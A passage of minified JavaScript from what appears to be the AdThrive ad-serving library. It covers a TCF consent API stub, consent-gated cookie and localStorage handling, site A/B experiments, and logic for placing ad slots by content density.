e=window.__tcfapi;Object.defineProperty(window,"__tcfapi",{configurable:!0,enumerable:!0,get:()=>e,set:t=>{e=t,typeof t==`function`&&!J(t)&&X()}})},tt=()=>{let e=(e,t=2,n,r)=>{if(e===void 0)return G;switch(e){case`ping`:typeof n==`function`&&n({gdprApplies:q,cmpLoaded:!1,cmpStatus:`stub`,apiVersion:`2.0`},!0);return;case`setGdprApplies`:parseInt(String(t),10)>=2&&typeof r==`boolean`&&(q=r,typeof n==`function`&&n(`set`,!0));return;default:G.push([e,t,n,r])}};return Object.defineProperty(e,U,{value:!0,configurable:!1,enumerable:!1,writable:!1}),e},nt=()=>{window.addEventListener(`message`,e=>{let t=typeof e.data==`string`,n={};if(t)try{n=JSON.parse(e.data)}catch{return}else n=e.data;let r=typeof n==`object`&&n?n.__tcfapiCall:void 0;if(!r)return;let i=e.source;window.__tcfapi(r.command,r.version,(e,n)=>{let a={__tcfapiReturn:{returnValue:e,success:n,callId:r.callId}};i==null||i.postMessage(t?JSON.stringify(a):a,`*`)},r.parameter)},!1)},rt=()=>
1932{if(et(),Y())return!1;let e=!1;return J(window.__tcfapi)||(window.__tcfapi=tt(),nt(),e=!0),$e(),window.__tcfapiQueue=G,e},it=(e,t=2,n,r)=>{if(e===void 0)return;let i=Y();i?i(e,t,n,r):(G.push([e,t,n,r]),rt())},at=(e,t=2,n,r)=>{it(e,t,n,r)},ot=(e=1e4)=>new Promise((t,n)=>{let r,i=!1,a=(e,a)=>{i||(i=!0,r&&clearTimeout(r),a&&e?t(e):n(Error(`Failed to retrieve TCData`)))};e>0&&(r=setTimeout(()=>{i||(i=!0,Qe(a,2),n(Error(`TCF API request timed out`)))},e)),at(`getTCData`,2,a)}),st=[`mcmpfreqrec`],Z=new class extends Ze{constructor(...e){super(...e),s(this,`name`,`BrowserStorage`),s(this,`disable`,!1),s(this,`gdprPurposes`,[1]),s(this,`_sessionStorageHandlerQueue`,[]),s(this,`_localStorageHandlerQueue`,[]),s(this,`_cookieHandlerQueue`,[]),s(this,`_gdpr`,void 0),s(this,`_shouldQueue`,!1),s(this,`_storageConsentGranted`,void 0),s(this,`_storageConsentUpdateInFlight`,0),s(this,`_storageConsentBeforeLatestUpdate`,void 0)}init(e,t){this._gdpr=e.gdpr===`true`,this._shouldQueue=this._gdpr,this._gdpr&&t&&(t.consentResponseCaptured.on(()=>{this._refreshStorageConsent(`consentResponseCaptured`)}),t.consentChanged.on(()=>{this._refreshStorageConsent(`consentChanged`)}))}_isGdprFromGlobal(){if(typeof window>`u`||!window.adthrive)return!1;let e=window.adthrive;return`gdprEnabled`in e?!!e.gdprEnabled:e.gdpr===`true`}_shouldQueueWrite(){return this._gdpr===void 0?this._isGdprFromGlobal():this._gdpr&&this._shouldQueue}isInGdprQueueMode(){return this._shouldQueueWrite()}_refreshStorageConsent(e){this._storageConsentBeforeLatestUpdate=this._storageConsentGranted,this._storageConsentUpdateInFlight+=1,this._updateStorageConsent().catch(e=>{}).then(()=>{this._storageConsentUpdateInFlight=Math.max(0,this._storageConsentUpdateInFlight-1)})}async _updateStorageConsent(){var e;let t=await ot();!(t==null||(e=t.purpose)==null)&&e.consents&&(this._storageConsentGranted=t.purpose.consents[1]===!0)}_getStorageWriteAvailability(e,t){try{let n=window[e];n.setItem(t,`1`);let r=n.getItem(t);return n.removeItem(t),r===`1`?{available:!0}:{available:!1,error:Error(`${e} write probe value mismatch`)}}catch(e){return{available:!1,error:e}}}getStorageApiAvailability(){return{localStorage:this._getStorageWriteAvailability(`localStorage`,`__adthrive_localstorage_test__`).available,sessionStorage:this._getStorageWriteAvailability(`sessionStorage`,`__adthrive_sessionstorage_test__`).available}}clearQueue(e,t){t!==void 0&&(this._storageConsentGranted=t);let n=this._gdpr&&this._hasStorageConsent()===!1,r=e&&n&&this.disable===!1&&this._storageConsentUpdateInFlight>0&&this._storageConsentBeforeLatestUpdate===!1;r&&(this._storageConsentGranted=!0),e&&(!n||r)&&(this._shouldQueue=!1,this._sessionStorageHandlerQueue.forEach(e=>{this.setSessionStorage(e.key,e.value)}),this._localStorageHandlerQueue.forEach(e=>{if(e.key===`adthrive_abgroup`){let t=Object.keys(e.value)[0],n=e.value[t],r=e.value[`${t}_weight`];this.getOrSetABGroupLocalStorageValue(t,n,r,{value:24,unit:`hours`})}else e.expiry?e.type===`internal`?this.setExpirableInternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):this.setExpirableExternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):e.type===`internal`?this.setInternalLocalStorage(e.key,e.value):this.setExternalLocalStorage(e.key,e.value)}),this._cookieHandlerQueue.forEach(e=>{e.type===`internal`?this.setInternalCookie(e.key,e.value):this.setExternalCookie(e.key,e.value)})),this._sessionStorageHandlerQueue=[],this._localStorageHandlerQueue=[],this._cookieHandlerQueue=[]}readInternalCookie(e){return this._verifyInternalKey(e),this._readCookie(e)}readExternalCookie(e){return this._readCookie(e)}readExternalCookieList(e){return this._readCookieList(e)}getAllCookies(){return this._getCookies()}readInternalLocalStorage(e){return this._verifyInternalKey(e),this._readFromLocalStorage(e)}readExternalLocalStorage(e){return this._readFromLocalStorage(e)}readSessionStorage(e){let t=window.sessionStorage.getItem(e);if(!t)return null;try{return JSON.parse(t)}catch{return t}}getLocalStorageWriteAvailability(){return this._getStorageWriteAvailability(`localStorage`,`__adthrive_local_storage_probe__`)}
1932deleteCookie(e){if(!this.disable){if(this._shouldQueueWrite()){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);return}document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}}purgeCookie(e){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);try{document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}catch{}}deleteLocalStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);return}window.localStorage.removeItem(e)}}purgeLocalStorage(e){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);try{window.localStorage.removeItem(e)}catch{}}deleteSessionStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);return}window.sessionStorage.removeItem(e)}}purgeSessionStorage(e){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);try{window.sessionStorage.removeItem(e)}catch{}}_hasStorageConsent(){if(this._storageConsentGranted!==void 0)return this._storageConsentGranted}setInternalCookie(e,t,n){this.disable||(this._verifyInternalKey(e),this._setCookieValue(`internal`,e,t,n))}setExternalCookie(e,t,n){this.disable||this._setCookieValue(`external`,e,t,n)}setInternalLocalStorage(e,t){if(!this.disable)if(this._verifyInternalKey(e),this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExternalLocalStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t,type:`external`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExpirableInternalLocalStorage(e,t,n){if(!this.disable){this._verifyInternalKey(e);try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}}setExpirableExternalLocalStorage(e,t,n){if(!this.disable)try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:JSON.stringify(t),type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}setSessionStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t};this._sessionStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.sessionStorage.setItem(e,n)}}getOrSetABGroupLocalStorageValue(e,t,n,r,i=!0){let a=`adthrive_abgroup`;if(this._shouldQueueWrite()){let o={[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,o,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,o),[t,n]}let o=this.readInternalLocalStorage(a);if(o!==null){let t=o[e],n=o[`${e}_weight`]??null;if(this._isValidABGroupLocalStorageValue(t))return[t,n]}let s={...o,[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,s,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,s),[t,n]}_isValidABGroupLocalStorageValue(e){return e!=null&&!(typeof e==`number`&&isNaN(e))}_getExpiryDate({value:e,unit:t}){let n=new Date;return t===`milliseconds`?n.setTime(n.getTime()+e):t==`seconds`?n.setTime(n.getTime()+e*1e3):t===`minutes`?n.setTime(n.getTime()+e*60*1e3):t===`hours`?n.setTime(n.getTime()+e*60*60*1e3):t===`days`?n.setTime(n.getTime()+e*24*60*60*1e3):t===`months`&&n.setTime(n.getTime()+e*30*24*60*60*1e3),n.toUTCString()}_resetExpiry(e){return e.expires=this._getExpiryDate(e.expiry),e}_readCookie(e){let t=document.cookie.split(`; `).find(t=>t.split(`=`)[0]===e);if(!t)return null;let n=t.split(`=`)[1];if(n)try{return JSON.parse(decodeURIComponent(n))}catch{return decodeURIComponent(n)}return null}_readCookieList(e){let t;for(let n of document.cookie.split(`;`)){let[r,...i]=n.split(`=`);r.trim()===e&&(t=i.join(`=`).trim())}return t&&JSON.parse(t)||[]}_getCookies(){let e=[];return document.cookie.split(`;`).forEach(t=>{let[n,r]=t.split(`=`).map(e=>e.trim());e.push({name:n,value:r})}),e}_readFromLocalStorage(e){let t=window.localStorage.getItem(e);if(!t)return null;try{let n=JSON.parse(t),r=n.expires&&new Date().getTime()>=new Date(n.expires).getTime();if(e===`adthrive_abgroup`&&n.created)return window.localStorage.removeItem(e),null;if(n.resetOnRead&&n.expires&&!r){let t=this._resetExpiry(n);return window.localStorage.setItem(e,JSON.stringify(n)),t.value??t}else if(r)return window.localStorage.removeItem(e),null;if(Object.prototype.hasOwnProperty.call(n,`value`))try{return JSON.parse(n.value)}catch{return n.value}else return n}catch{return t}}_setCookieValue(e,t,n,r){try{if(this._shouldQueueWrite()){let r={key:t,value:n,type:e};this._cookieHandlerQueue.push(r)}else{let e=this._getExpiryDate((r==null?void 0:r.expiry)??{value:400,unit:`days`}),i=(r==null?void 0:r.sameSite)??`None`,a=(r==null?void 0:r.secure)??!0,o=typeof n==`object`?JSON.stringify(n):n;document.cookie=`${t}=${o}
1932; SameSite=${i}; ${a?`Secure;`:``} expires=${e}; path=/`}}catch{}}_verifyInternalKey(e){let t=e.startsWith(`adthrive_`),n=e.startsWith(`adt_`);if(!t&&!n&&!st.includes(e))throw Error(`When reading an internal cookie, the key must start with "adthrive_" or "adt_" or be part of the allowed legacy keys.`)}},ct=e=>{let t=5381,n=e.length;for(;n;)t=t*33^e.charCodeAt(--n);return t>>>0},lt=e=>ct(e).toString(16),ut=e=>{if(e===null)return null;let t=e.map(({choice:e})=>e);return lt(JSON.stringify(t))},dt=(e,t)=>{var n;return((n=e.find(({choice:e})=>e===t))==null?void 0:n.weight)??null},ft=e=>e!=null&&!(typeof e==`number`&&isNaN(e)),pt=(e,t)=>{if(Z.isInGdprQueueMode())return t();let n=ut(e._choices),r=((e._expConfigABGroup?e._expConfigABGroup:e.abgroup)||e.key||``).toLowerCase(),i=n?`${r}_${n}`:r,a=e.localStoragePrefix?`${e.localStoragePrefix}-${i}`:i,o=Z.readInternalLocalStorage(`adthrive_branch`);(o&&o.enabled)===!1&&Z.deleteLocalStorage(a);let s=t(),c=dt(e._choices,s),[l,u]=Z.getOrSetABGroupLocalStorageValue(a,s,c,{value:24,unit:`hours`});return e._stickyResult=l,e._stickyWeight=u,l},mt=(e=window.location.search)=>{let t=+(e.indexOf(`?`)===0);return e.slice(t).split(`&`).reduce((e,t)=>{let[n,r]=t.split(`=`);return e.set(n,r),e},new Map)},ht=e=>{let t={},n=mt().get(e);if(n)try{let r=decodeURIComponent(n).replace(/\+/g,``);t=JSON.parse(r),F.event(`ExperimentOverridesUtil`,`getExperimentOverrides`,e,t)}catch(e){e instanceof URIError}return t},gt=(e,t)=>typeof e==typeof t,_t=(e,t)=>{let n=e.adDensityEnabled,r=e.adDensityLayout.pageOverrides.find(e=>!!document.querySelector(e.pageSelector)&&(e[t].onePerViewport||typeof e[t].adDensity==`number`));return n?!r:!0},vt=e=>{var t;let n=(t=e.videoPlayers)==null||(t=t.partners)==null||(t=t.stickyOutstream)==null?void 0:t.blockedPageSelectors;return n?!document.querySelector(n):!0},yt=e=>{let t=e.adOptions.interstitialBlockedPageSelectors;return t?!document.querySelector(t):!0},bt=(e,t,n)=>{switch(t){case H.AdDensity:return _t(e,n);case H.StickyOutstream:return vt(e);case H.Interstitial:return yt(e);default:return!0}},xt=e=>e.length===1,St=e=>{let t=e.reduce((e,t)=>t.weight?t.weight+e:e,0);return e.length>0&&e.every(e=>{let t=e.value,n=e.weight;return!!(t!=null&&!(typeof t==`number`&&isNaN(t))&&n)})&&t===100},Ct=(e,t)=>{if(!e)return!1;let n=!!e.enabled,r=e.dateStart==null||Date.now()>=e.dateStart,i=e.dateEnd==null||Date.now()<=e.dateEnd,a=e.selector===null||e.selector!==``&&!!document.querySelector(e.selector),o=e.platform===`mobile`&&t===`mobile`,s=e.platform===`desktop`&&t===`desktop`,c=e.platform===null||e.platform===`all`||o||s,l=e.experimentType===`bernoulliTrial`?xt(e.variants):St(e.variants);return l||F.error(`SiteTest`,`validateSiteExperiment`,`experiment presented invalid choices for key:`,e.key,e.variants),n&&r&&i&&a&&c&&l};var wt=class{constructor(e){var t;s(this,`siteExperiments`,[]),s(this,`_clsOptions`,void 0),s(this,`_device`,void 0),this._clsOptions=e,this._device=D()?`mobile`:`desktop`,this.siteExperiments=((t=this._clsOptions.siteAds.siteExperiments)==null?void 0:t.filter(e=>{let t=e.key,n=Ct(e,this._device),r=bt(this._clsOptions.siteAds,t,this._device);return n&&r}))??[]}getSiteExperimentByKey(e){let t=this.siteExperiments.filter(t=>t.key.toLowerCase()===e.toLowerCase())[0],n=ht(`at_site_features`),r=gt(t!=null&&t.variants[1]?t==null?void 0:t.variants[1].value:t==null?void 0:t.variants[0].value,n[e]);return t&&n[e]&&r&&(t.variants=[{displayName:`test`,value:n[e],weight:100,id:0}]),t}},Tt=class{constructor(){s(this,`experimentConfig`,void 0)}get enabled(){return this.experimentConfig!==void 0}_isValidResult(e,t=()=>!0){return t()&&ft(e)}},Et=class extends Tt{constructor(...e){super(...e),s(this,`_resultValidator`,()=>!0)}_isValidResult(e){return super._isValidResult(e,()=>this._resultValidator(e)||e===`control`)}run(){if(!this.enabled)return F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to control.`),`control`;if(!this._mappedChoices||this._mappedChoices.length===0)return F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`No experiment variants found. Defaulting to control.`),`control`;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to control.`),`control`)}}
1932,Dt=class extends Et{constructor(e){super(),s(this,`_choices`,[]),s(this,`_mappedChoices`,[]),s(this,`_result`,``),s(this,`_clsSiteExperiments`,void 0),s(this,`_resultValidator`,e=>typeof e==`string`),s(this,`key`,H.AdLayout),s(this,`abgroup`,H.AdLayout),this._clsSiteExperiments=new wt(e),this.experimentConfig=this._clsSiteExperiments.getSiteExperimentByKey(this.key),this.enabled&&this.experimentConfig&&(this._choices=this.experimentConfig.variants,this._mappedChoices=this._mapChoices(),this._result=this.run(),e.setWeightedChoiceExperiment(this.abgroup,this._result,!0))}get result(){return this._result}run(){return pt(this,()=>{if(!this.enabled)return F.error(`CLSAdLayoutSiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to empty class name.`),``;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSAdLayoutSiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to empty class name.`),``)})}_mapChoices(){return this._choices.map(({weight:e,value:t})=>({weight:e,choice:t}))}},Ot=class extends Et{constructor(e){super(),s(this,`_choices`,[]),s(this,`_mappedChoices`,[]),s(this,`_result`,`control`),s(this,`_clsSiteExperiments`,void 0),s(this,`_resultValidator`,e=>typeof e==`number`),s(this,`key`,H.AdDensity),s(this,`abgroup`,H.AdDensity),this._clsSiteExperiments=new wt(e),this.experimentConfig=this._clsSiteExperiments.getSiteExperimentByKey(this.key),this.enabled&&this.experimentConfig&&(this._choices=this.experimentConfig.variants,this._mappedChoices=this._mapChoices(),this._result=this.run(),e.setWeightedChoiceExperiment(this.abgroup,this._result,!0))}get result(){return this._result}run(){return pt(this,()=>{if(!this.enabled)return F.error(`CLSTargetAdDensitySiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to control.`),`control`;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSTargetAdDensitySiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to control.`),`control`)})}_mapChoices(){return this._choices.map(({weight:e,value:t})=>({weight:e,choice:typeof t==`number`?(t||0)/100:`control`}))}},kt=class{constructor(){s(this,`_clsOptions`,new c),s(this,`shouldUseCoreExperimentsConfig`,!1)}setExperimentKey(e=!1){this._clsOptions.setExperiment(this.abgroup,this.result,e)}},At=class extends kt{constructor(){super(),s(this,`key`,`SMRA`),s(this,`abgroup`,`smra1`),s(this,`_result`,!1),D()&&(this._result=this.run(),this.setExperimentKey())}run(){return new u(.05).get()}get result(){return this._result}};let Q=`250px`;var jt=class{constructor(t,n){this._clsOptions=t,this._adInjectionMap=n,s(this,`_recipeCount`,0),s(this,`_mainContentHeight`,0),s(this,`_mainContentDiv`,null),s(this,`_totalAvailableElements`,[]),s(this,`_densityElementCoords`,void 0),s(this,`_minDivHeight`,250),s(this,`_densityDevice`,I.Desktop),s(this,`_pubLog`,{onePerViewport:!1,targetDensity:0,targetDensityUnits:0,combinedMax:0}),s(this,`_smallerIncrementAttempts`,0),s(this,`_absoluteMinimumSpacingByDevice`,250),s(this,`_usedAbsoluteMinimum`,!1),s(this,`_infPageEndOffset`,0),s(this,`locationMaxLazySequence`,new Map([[e.Recipe,5]])),s(this,`locationToMinHeight`,{Below_Post:Q,Content:Q,Recipe:Q,Sidebar:Q}),s(this,`_device`,void 0),s(this,`_smallMobileRecipeAdsExperimentEnabled`,void 0),s(this,`_clsTargetAdDensitySiteExperiment`,void 0);let{tablet:r,desktop:i}=this._clsOptions.siteAds.breakpoints;this._device=Ie(r,i),this._smallMobileRecipeAdsExperimentEnabled=new At().result,this._isSmallMobileRecipeAdLocation(e.Recipe)&&(this.locationToMinHeight.Recipe=`100px`),this._clsTargetAdDensitySiteExperiment=this._clsOptions.siteAds.siteExperiments?new Ot(this._clsOptions):null}start(){try{var e;De(this._device);let n=new Dt(this._clsOptions);if(n.enabled){let e=n.result,t=e.startsWith(`.`)?e.substring(1):e;if(Ye(t))try{document.body.classList.add(t)}catch(e){F.error(`ClsDynamicAdsInjector`,`start`,`Uncaught CSS Class error: ${e}`)}else F.error(`ClsDynamicAdsInjector`,`start`,`Invalid class name: ${t}`)}let r=Ce(this._device,this._clsOptions.siteAds).filter(e=>this._locationEnabled(e)).filter(e=>Te(e,this._device)).filter(e=>Ee(e)),i=this.inject(r),a=this._clsOptions.siteAds.adOptions.stickyContainerConfig;if(!(a==null||(e=a.content)==null)&&e.enabled&&!B(a.blockedSelectors||[],this._logInvalidBlockedSelector.bind(this))){var t;qe(a==null||(t=a.content)==null?void 0:t.minHeight)}
1932i.forEach(e=>this._clsOptions.setInjectedSlots(e))}catch(e){F.error(`ClsDynamicAdsInjector`,`start`,e)}}inject(t,n=document){this._densityElementCoords=void 0,this._densityDevice=this._device===`desktop`?I.Desktop:I.Mobile,this._overrideDefaultAdDensitySettingsWithSiteExperiment();let r=this._clsOptions.siteAds,i=k(r.adDensityEnabled,!0),a=r.adDensityLayout&&i,o=t.filter(t=>a?t.location!==e.Content:t),s=t.filter(t=>a?t.location===e.Content:null),c=s.length?this._preserveDensityMeasurements(s,n):!1;return this._capturePreSlotInsertionPageAreaMeasurement(),[...o.length?this._injectNonDensitySlots(o,n):[],...s.length?this._injectDensitySlots(s,n,c):[]]}_injectNonDensitySlots(t,n=document){var r;let i=[],a=[],o=!1;if(t.some(t=>t.location===e.Recipe&&t.sticky)&&!B(((r=this._clsOptions.siteAds.adOptions.stickyContainerConfig)==null?void 0:r.blockedSelectors)||[],this._logInvalidBlockedSelector.bind(this))){var s,c;let t=this._clsOptions.siteAds.adOptions.stickyContainerConfig;Je(this._isSmallMobileRecipeAdLocation(e.Recipe)?100:this._device===`phone`?t==null||(s=t.recipeMobile)==null?void 0:s.minHeight:t==null||(c=t.recipeDesktop)==null?void 0:c.minHeight),o=!0}for(let e of t)this._insertNonDensityAds(e,i,a,n);return o||a.forEach(({location:e,element:t})=>{t.style.minHeight=this.locationToMinHeight[e]}),i}_isSmallMobileRecipeAdLocation(e){return this._smallMobileRecipeAdsExperimentEnabled&&A(e,this._device)}_injectDensitySlots(e,t=document,n=!1){try{n||(this._calculateMainContentHeightAndAllElements(e,t),this._capturePreSlotInsertionMainContentMeasurement(),this._captureDensityElementCoords())}catch{return[]}let{onePerViewport:r,targetAll:i,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}=this._getDensitySettings(e,t);return this._absoluteMinimumSpacingByDevice=r?window.innerHeight:this._absoluteMinimumSpacingByDevice,s?(this._adInjectionMap.filterUsed(),this._findElementsForAds(s,r,i,o,a,t),this._insertAds()):[]}_preserveDensityMeasurements(e,t=document){try{return this._calculateMainContentHeightAndAllElements(e,t),this._capturePreSlotInsertionMainContentMeasurement(),this._captureDensityElementCoords(),!0}catch{return!1}}_overrideDefaultAdDensitySettingsWithSiteExperiment(){var e;if((e=this._clsTargetAdDensitySiteExperiment)!=null&&e.enabled){let e=this._clsTargetAdDensitySiteExperiment.result;typeof e==`number`&&(this._clsOptions.siteAds.adDensityEnabled=!0,this._clsOptions.siteAds.adDensityLayout[this._densityDevice].adDensity=e)}}_getDensitySettings(e,t=document){let{onePerViewport:n,targetAll:r,targetDensity:i,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}=Ne({settings:this._clsOptions.siteAds.adDensityLayout,densityDevice:this._densityDevice,dynamicAds:e,target:t,totalAvailableElements:this._totalAvailableElements.length,mainContentHeight:this._mainContentHeight,minDivHeight:this._minDivHeight,recipeCount:this._recipeCount,selectorContext:this._getDynamicAdSelectorContext.bind(this),onInvalidSelector:({selector:e,selectorType:t,source:n,context:r,error:i})=>{}});return this._pubLog={onePerViewport:n,targetDensity:i,targetDensityUnits:a,combinedMax:o},{onePerViewport:n,targetAll:r,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}}_elementLargerThanMainContent(e){return e.offsetHeight>=this._mainContentHeight&&this._totalAvailableElements.length>1}_elementDisplayNone(e){let t=window.getComputedStyle(e,null).display;return t&&t===`none`||e.style.display===`none`}_isBelowMaxes(e,t){return this._adInjectionMap.map.length<e&&this._adInjectionMap.map.length<t}_findElementsForAds(e,t,n,r,i,a=document){this._clsOptions.targetDensityLog={onePerViewport:t,combinedMax:r,targetDensityUnits:i,targetDensityPercentage:this._pubLog.targetDensity,mainContentHeight:this._mainContentHeight,recipeCount:this._recipeCount,numberOfEls:this._totalAvailableElements.length};let o=t=>{for(let{dynamicAd:o,element:s}of this._totalAvailableElements)if(this._logDensityInfo(s,o.elementSelector,t),!(!n&&this._elementLargerThanMainContent(s)||this._elementDisplayNone(s)))if(this._isBelowMaxes(r,i)){if(this._checkElementSpacing({dynamicAd:o,element:s,insertEvery:t,targetAll:n,target:a}),this._hasReachedQuota(e))return}else break;this._hasReachedQuota(e)||!this._usedAbsoluteMinimum&&this._smallerIncrementAttempts<5&&(++this._smallerIncrementAttempts,o(this._getSmallerIncrement(t)))};o(this._getInsertEvery(e,t,i))}_hasReachedQuota(e){return this._adInjectionMap.map.length>=e}_getSmallerIncrement(e){let t=Fe(e,this._absoluteMinimumSpacingByDevice);return this._usedAbsoluteMinimum=t.usedAbsoluteMinimum,t.insertEvery}
1932_insertNonDensityAds(t,n,r,i=document){let{spacing:a,nextAfter:o}=Me(t.spacing,window.innerHeight),s=0,c=this._repeatDynamicAds(t),l=this.getElements(t.elementSelector,i,t),u=this._shouldUseRegularSlotHeightForSpacing(t),d=a>0&&u?this._getElementSpacingBottoms(l):new Map,f=0;t.skip;for(let p=t.skip;p<l.length&&!(s+1>c.length);p+=t.every){let m=l[p];if(a>0){let e=u?(d.get(m)??R(m).bottom)+f:R(m).bottom;if(e<=o)continue;o=e+a}let h=c[s],g=`${h.location}_${h.sequence}`;n.some(e=>e.name===g)&&(s+=1);let _=this.getDynamicElementId(h),v=L(t),y=Oe(t),b=t.location===e.Sidebar&&t.sticky?Ke(h.sequence):``,ee=[t.location===e.Recipe&&t.sticky?`adthrive-recipe-sticky-container`:``,v,y,...t.classNames];if(Xe(m,t.position,t.location)&&t.location===e.Recipe)continue;let x=this.addAd(m,_,t.position,ee,b);if(x){let a=we(h,x);if(a.length){let o={clsDynamicAd:t,dynamicAd:h,element:x,sizes:a,name:g,infinite:i!==document};n.push(o),r.push({location:h.location,element:x}),t.location===e.Recipe&&++this._recipeCount,s+=1,u&&(f+=this._getRegularSlotSpacingHeight(h.location))}m=b&&x.parentElement||x}}}_shouldUseRegularSlotHeightForSpacing(t){var n;return t.location===e.Recipe&&t.sticky&&!B(((n=this._clsOptions.siteAds.adOptions.stickyContainerConfig)==null?void 0:n.blockedSelectors)||[],this._logInvalidBlockedSelector.bind(this))}_getElementSpacingBottoms(e){return Array.from(e).reduce((e,t)=>(e.set(t,R(t).bottom),e),new Map)}_getRegularSlotSpacingHeight(e){let t=parseInt(this.locationToMinHeight[e],10);return Number.isFinite(t)?t:this._minDivHeight}_insertAds(){let e=[],t=0;return this._adInjectionMap.filterUsed(),this._adInjectionMap.map.forEach(({el:n,dynamicAd:r,target:i},a)=>{let o=Number(r.sequence)+a,s=r.max,c=r.lazy&&o>s;r.sequence=o,r.lazy=c;let l=this._addContentAd(n,r,i);l&&(r.used=!0,e.push(l),++t)}),e}_getInsertEvery(e,t,n){let r=Pe({totalAvailableElements:this._totalAvailableElements.length,targetDensityUnits:n,numberOfUnits:e,mainContentHeight:this._mainContentHeight,absoluteMinimumSpacing:this._absoluteMinimumSpacingByDevice,viewportHeight:window.innerHeight,onePerViewport:t});return this._usedAbsoluteMinimum=r.usedAbsoluteMinimum,r.insertEvery}_logDensityInfo(e,t,n){let{onePerViewport:r,targetDensity:i,targetDensityUnits:a,combinedMax:o}=this._pubLog;this._totalAvailableElements.length}_checkElementSpacing({dynamicAd:e,element:t,insertEvery:n,targetAll:r,target:i}){(this._isFirstAdInjected()||this._hasProperSpacing(t,e,r,n))&&this._markSpotForContentAd(t,{...e},i)}_isFirstAdInjected(){return!this._adInjectionMap.map.length}_markSpotForContentAd(e,t,n=document){let r=t.position===`beforebegin`||t.position===`afterbegin`;this._adInjectionMap.addSorted(e,this._getElementCoords(e,r),t,n)}_hasProperSpacing(t,n,r,i){let a=n.position===`beforebegin`||n.position===`afterbegin`,o=n.position===`beforeend`||n.position===`afterbegin`,s=r||this._isElementFarEnoughFromOtherAdElements(t,i,a),c=o||this._isElementNotInRow(t,a),l=t.id.indexOf(`AdThrive_${e.Below_Post}`)===-1;return s&&c&&l}_isElementFarEnoughFromOtherAdElements(e,t,n){let r=this._getElementCoords(e,n),[i,a]=this._adInjectionMap.findNeighborIndices(r),o=i===null?void 0:this._adInjectionMap.map[i].coords,s=a===null?void 0:this._adInjectionMap.map[a].coords;return(o===void 0||r-t>o)&&(s===void 0||r+t<s)}_isElementNotInRow(e,t){let n=e.previousElementSibling,r=e.nextElementSibling,i=t?!n&&r||n&&e.tagName!==n.tagName?r:n:r;if(!i)return!0;let a=e.getBoundingClientRect();if(a.height===0)return!0;let o=i.getBoundingClientRect();return a.top!==o.top}_calculateMainContentHeightAndAllElements(e,t=document){let[n,r]=Ve(e,this._adInjectionMap,t);if(!n)throw Error(`No main content element found`);this._mainContentDiv=n,this._totalAvailableElements=r,this._mainContentHeight=He(this._mainContentDiv)}_captureDensityElementCoords(){this._densityElementCoords=this._totalAvailableElements.reduce((e,{element:t})=>(e.set(t,{bottom:this._getLiveElementCoords(t),top:this._getLiveElementCoords(t,!0)}),e),new WeakMap)}_capturePreSlotInsertionMainContentMeasurement(){window.adthriveCLS&&(window.adthriveCLS.preSlotInsertionMeasurements?window.adthriveCLS.preSlotInsertionMeasurements.mainContentHeight=this._mainContentHeight:window.adthriveCLS.preSlotInsertionMeasurements={mainContentHeight:this._mainContentHeight})}_capturePreSlotInsertionPageAreaMeasurement(){if(window.adthriveCLS){let 